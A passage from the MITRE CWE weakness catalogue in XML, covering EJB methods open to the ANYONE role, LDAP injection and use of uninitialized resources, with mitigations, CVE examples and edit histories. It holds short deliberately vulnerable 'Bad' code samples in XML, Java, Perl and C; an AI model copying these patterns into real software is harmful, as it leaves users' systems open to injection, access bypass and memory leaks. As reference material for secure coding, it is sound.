					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">SQL Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-09-09">Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Preserve SQL Query Structure (aka 'SQL Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Failure to Preserve SQL Query Structure ('SQL Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="9" Name="J2EE Misconfiguration: Weak Access Permissions for EJB Methods" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.</Description>
         <Extended_Description>If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="266" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;ejb-jar&gt;<xhtml:div style="margin-left:1em;">...<xhtml:br/>&lt;assembly-descriptor&gt;<xhtml:div style="margin-left:1em;">&lt;method-permission&gt;<xhtml:div style="margin-left:1em;">&lt;role-name&gt;ANYONE&lt;/role-name&gt;<xhtml:br/>&lt;method&gt;<xhtml:br/>&lt;ejb-name&gt;Employee&lt;/ejb-name&gt;<xhtml:br/>&lt;method-name&gt;getSalary&lt;/method-name&gt;</xhtml:div>&lt;/method-permission&gt;</xhtml:div>&lt;/assembly-descriptor&gt;<xhtml:br/>...</xhtml:div>&lt;/ejb-jar&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Misconfiguration: Weak Access Permissions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Misconfiguration: Weak Access Permissions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="90" Name="Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="943" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Database Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The code below constructs an LDAP query using user input address data:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>context = new InitialDirContext(env);<xhtml:br/>String searchFilter = "StreetAddress=" + address;<xhtml:br/>NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);</xhtml:div>
               </Example_Code>
               <Body_Text>Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-41232</Reference>
               <Description>Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-41232</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2301</Reference>
               <Description>Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2301</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>LDAP injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>29</Entry_ID>
               <Entry_Name>LDAP Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="136"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-879"/>
         </References>
         <Notes>
            <Note Type="Relationship">Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">LDAP Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Data into LDAP Queries ('LDAP Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="908" Name="Use of Uninitialized Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses or accesses a resource that has not been initialized.</Description>
         <Extended_Description>When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
               <Note>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid race conditions (CWE-362) during initialization routines.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>Run or compile the product with settings that generate warnings about uninitialized variables or data.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-105">
               <Intro_Text>Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private boolean initialized = true;<xhtml:br/>public void someMethod() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (!initialized) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// perform initialization tasks</xhtml:i>
                                 <xhtml:br/>...<xhtml:br/>
                                 <xhtml:br/>initialized = true;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-54">
               <Intro_Text>The following code intends to limit certain operations to the administrator only.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$username = GetCurrentUser();<xhtml:br/>$state = GetStateData($username);<xhtml:br/>if (defined($state)) {<xhtml:div style="margin-left:1em;">$uid = ExtractUserID($state);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># do stuff</xhtml:i>
                     <xhtml:br/>if ($uid == 0) {<xhtml:div style="margin-left:1em;">DoAdminThings();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-106">
               <Intro_Text>The following code intends to concatenate a string to a variable and print the string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char str[20];<xhtml:br/>strcat(str, "hello world");<xhtml:br/>printf("%s", str);</xhtml:div>
               </Example_Code>
               <Body_Text>This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.</Body_Text>
               <Body_Text>If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.</Body_Text>
               <Body_Text>If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.</Body_Text>
            </Demonstrative_Example>
			<Demonstrative_Example Demonstrative_Example_ID="DX-144">
			  <Intro_Text>This example will leave test_string in an
			  unknown condition when i is the same value as err_val,
			  because test_string is not initialized
			  (CWE-456). Depending on where this code segment appears
			  (e.g. within a function body), test_string might be
			  random if it is stored on the heap or stack. If the
			  variable is declared in static memory, it might be zero
			  or NULL. Compiler optimization might contribute to the
			  unpredictability of this address.</Intro_Text>
			  <Example_Code Nature="Bad" Language="C">
                char *test_string;<xhtml:br/>
                if (i != err_val)<xhtml:br/>
                {<xhtml:br/>
                <xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
                }<xhtml:br/>
                printf("%s", test_string);
              </Example_Code>
              <Body_Text><xhtml:p>When the printf() is reached,
              test_string might be an unexpected address, so the
              printf might print junk strings (CWE-457).</xhtml:p>
			  <xhtml:p>
			  To fix this code, there are a couple approaches to
			  making sure that test_string has been properly set once
			  it reaches the printf().</xhtml:p>
			  <xhtml:p>One solution would be to set test_string to an
			  acceptable default before the conditional:</xhtml:p>
			  </Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string = "Done at the beginning";<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			  <Body_Text>Another solution is to ensure that each
			  branch of the conditional - including the default/else
			  branch - could ensure that test_string is set:</Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string;<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				else {<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Done on the other side!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			</Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-9805</Reference>
               <Description>Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-9805</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4197</Reference>
               <Description>Use of uninitialized memory may allow code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4197</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2934</Reference>
               <Description>Free of an uninitialized pointer leads to crash and possible code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2934</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0063</Reference>
               <Description>Product does not clear memory contents when generating an error message, leading to information leak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0063</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0062</Reference>
               <Description>Lack of initialization triggers NULL pointer dereference or double-free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0062</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0081</Reference>
               <Description>Uninitialized variable leads to code execution in popular desktop application.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0081</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3688</Reference>
               <Description>Chain: Uninitialized variable leads to infinite loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3475</Reference>
               <Description>Chain: Improper initialization leads to memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3475</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2005-1036</Reference>
	     <Description>Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2005-1036</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3597</Reference>
               <Description>Chain: game server can access player data structures before initialization has happened leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2692</Reference>
               <Description>Chain: uninitialized function pointers can be dereferenced allowing code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2692</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0949</Reference>
               <Description>Chain: improper initialization of memory can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3620</Reference>
               <Description>Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3620</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP33-C</Entry_ID>
               <Entry_Name>Do not read uninitialized memory</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-436"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-12-21</Submission_Date>
               <Submission_Comment>New weakness based on discussion on the CWE research list in December 2012.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-01-03</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
